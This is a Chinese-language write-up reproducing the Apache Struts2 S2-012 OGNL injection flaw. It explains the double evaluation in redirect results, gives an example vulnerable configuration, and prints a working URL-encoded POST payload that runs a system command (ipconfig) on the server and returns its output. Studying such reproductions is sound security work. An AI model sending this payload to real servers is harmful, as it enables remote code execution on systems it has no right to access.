漏洞简介
除其他功能外,OGNL还提供广泛的表达评估功能。包含特制请求参数的请求可用于将任意OGNL代码注入属性,然后用作重定向地址的请求参数,这将导致进一步评估。
在S2-003,S2-005和S2-009中已经解决了OGNL评估问题,但是,由于它只涉及参数名称,因此结果得出的修复是基于将可接受的参数名称列入白名单并拒绝对参数中包含的表达式进行评估名称,仅部分关闭了漏洞。
当重定向结果从堆栈中读取并使用先前注入的代码作为重定向参数时,将进行第二次评估。
这使恶意用户可以将任意OGNL语句放入由操作公开的任何未过滤的String变量中,并将其评估为OGNL表达式,以启用方法执行并执行任意方法,从而绕过Struts和OGNL库保护。
如果在配置 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name} 作为重定向变量,例如:
<package name="S2-012" extends="struts-default">
<action name="user" class="com.demo.action.UserAction">
<result name="redirect" type="redirect">/index.jsp?name=${name}</result>
<result name="input">/index.jsp</result>
<result name="success">/index.jsp</result>
</action>
</package>
这里 UserAction 中定义有一个 name 变量,当触发 redirect 类型返回时,Struts2 获取使用 ${name} 获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行。
影响版本
Struts Showcase App 2.0.0 - Struts Showcase App 2.3.14.2
漏洞复现
环境准备
Windows 7 64bit(包含XAMPP)
测试地址:http://192.168.43.166:8080/struts2-showcase-2.1.6/skill/edit.action
POC-POST内容
currentSkill.name=%25%7B%23a%3D%28new%20java.lang.ProcessBuilder%28new%20java.lang.String%5B%5D%7B%22cmd.exe%22%2C%20%22%2fc%22%2C%20%22ipconfig%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew%20java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew%20java.io.BufferedReader%28%23c%29%2C%23e%3Dnew%20char%5B500%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new%20java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%7D¤tSkill.description=aaaa
结果截图
说明:本专题只为学术交流,请所有读者切勿利用以上资源用于非法犯罪活动,有任何问题欢迎联系我的邮箱1294553086@qq.com。
部分文字性说明来源于网上资源,若有侵权请发邮件到1294553086@qq.com。